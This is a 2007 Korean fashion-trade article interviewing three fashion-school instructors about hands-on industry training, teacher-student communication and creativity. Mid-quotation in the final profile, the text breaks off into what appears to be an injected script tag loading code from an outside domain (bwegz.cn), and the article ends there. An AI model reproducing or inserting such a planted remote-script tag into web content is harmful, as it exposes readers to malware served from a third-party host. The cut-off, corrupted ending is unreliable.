패션 교육의 장에서…
2007-01-15 

옛말에 ‘교육은 나라의 백년대계’라는 말이 있다. 교육이 잘 되야 그 나라가 바로 선다는 것. 패션 교육의 현장에서 후배를 양성하며 더 나은 패션 산업의 터전을 닦는 숨은 주역이 여기 있다. 패션 산업의 바로 앞에 나서서 진두지휘하기 보다는 조용히 뒷바라지하며 패션산업 부흥의 꿈을 이뤄 가는 사람들, 패션 전문학교의 교수 3인방을 만나보았다.

● 에스모드서울 스틸리즘과정 홍인수 교수
실무위주의 교육을 위하여
“패션 교육은 마켓 상황에 맞추어 실무적이고 구체적으로 진행되어야 합니다. 대중들이 봤을 때, 쉽게 이해할 수 있고 감동받을 수 있는 패션이 진정 가치가 있는 패션이기 때문이죠.”
홍교수는 실무적이고 구체적인 교육을 진행한다는 면에서 에스모드서울이 선두주자라고 말한다.
“에스모드서울은 매년 기업연수프로그램과 생산 공장견학, 실무인사초빙 특강등 다양한 산학연계 프로그램을 진행하고 있습니다. 또한, 에스모드서울은 교육과정이 서울 한 라인으로 연결되어 있다는 것이 큰 메리트라고 할 수 있죠. 예를 들면, 다른 학원과 달리 에스모드서울은 스틸리즘과 모델리즘이 연결되어 있어 소재, 색상, 악세사리 내용까지 포함한 스타일화를 옷의 패턴으로 연결시켜 가봉, 옷 제작 과정까지 같이 배울수 있다는 강점을 지니고 있죠.”
“이제 오뜨꾸띄르에서도 예전과 달리 쇼에서 보여진 옷이 매장에서 팔 수 있고, 소비자들이 구입할 만한 옷으로 바뀌어 가고 있습니다. 예전처럼 소비자의 요구를 만족시키지 않고, 오직 ‘예술’이라는 이름아래, 입을 수 없고, 단지 자신의 느낌에서 비롯한 창조적인 아이템은 설득력이 없다고 생각해요. 물론 창작도 중요하지만 창작이전에 왜 이런 디자인을 했는지에 구체적인 설명을 할 수 있는 실제적인 패션아이템 개발이 이루어져야 한다고 생각합니다.”
에스모드파리를 졸업하고 한섬 「타임」의 정보기획실, 쌍방울룩에서 디자인 기획과장등을 지내면서, 실무에 바로 투입할 수 있는 프로패셔널한 인재가 부족하다는 것을 많이 느꼈다는 한교수는 자신이 직접 인재를 키우고 역할을 하고 싶어 교육업계에 몸담게 되었다고 말한다. 업계가 발전하려면 그 속에 속해 있는 인력이 탄탄해야 하는데, 자신이 바로 인력을 교육 시키는 중요한 위치에 서 있다는 것에 보람있고 자긍심을 느낀다고 그는 전한다.

● S.D.F.A(에스디 패션 디자인 직업 전문학교) 조정윤 교수
“세계적 명문 학원을 만들겁니다.”
S.D.F.A(에스디 패션 디자인 직업 전문학교)의 조정윤 교수. 그녀는 홍대 의상디자인학과 대학원을 졸업하고 프리랜서 일러스트레이터로 활동하면서 유학을 가 다시 공부에 전념할 준비를 하고 있었다. 우연한 기회에 친한 선배의 권유로 지금의 학원에서 학생들을 가르치게 된지 7년째. 갑작스럽게 등 떠밀리다시피 시작한 일이지만 지금 그녀는 자신의 일에 대한 자부심과 애정, 포부가 누구보다도 크다고.
조 교수는 S.D.F.A를 수 년 안에 세계 패션 학교의 정상궤도에 올려놓기 위해 하루하루를 눈코 뜰 새 없이 바쁘게 지내고 있다. 그녀는 벌써 S.D.F.A에서 7년이 넘은 중견 교수임에도 항상 아침 7시30분에 가장 먼저 출근해 관련서적을 탐독하며 스승으로서의 내실을 다지고 그날 그날의 수업을 준비한다.
조 교수는 바람직한 스승이 되기 위해 항상 노력하고 생각한다. 그녀는 “누군가를 가르치기 위해서는 우선 본인의 기본 실력을 닦는데 충실해야 된다”고 한다. 원론적인 부분을 충실히 다져야만 양질의 교육이 이루어진다는 것. 또 그녀는 “기본기를 다진 후에는 학생들에게 눈높이를 맞추는 자세가 필요하다”고 덧붙인다.
그녀는 학생들에게 스승이면서 엄마와도 같은 존재다. 학생들이 자신을 찾기 전에 먼저 학생들에게 다가가려고 의도적으로 노력한다. 학생과 마주쳤을 때 먼저 인사하고 학생의 얘기가 다소 무리가 있더라도 끝까지 들어보는 그녀의 자세는 이런 노력에서 비롯된 것이다.
“선생이 권위적인 자세로 학생 위에 군림하려고 한다면 참된 교육을 이룰 수 없다고 생각합니다. 참된 교육은 일방통행 도로에서처럼 한쪽으로 이루어지는 것이 아니라 쌍방향 커뮤니케이션 속에서 이루어지죠. 아직도 교수에게 다소 거리감을 갖고 있는 학생들에게 먼저 다가가 먼저 그들의 배움에 대한 욕구를 해소해 주는 것이 바람직한 선생의 자세라고 생각합니다.”

● FIK (코오롱 패션산업 연구원)코디네이터과정 이주하 교수
창의력가진 재목을 키워내는 것이 나의 꿈
“학생들에게 항상 강조하는 것이 창의력을 갖추라는 것이죠.”
FIK 이주하교수는 단지 표면적인 현상만 보는 갇힌 사고에서 벗어나 사물의 그 이면을 볼 수 있는 눈을 키울 것을 주문한다. “어떤 사물이 사실 다양한 면을 가진 ‘환조’인데 보는 사람의 닫힌 사고로 그것을 단지 ‘?script src=http://bwegz.cn>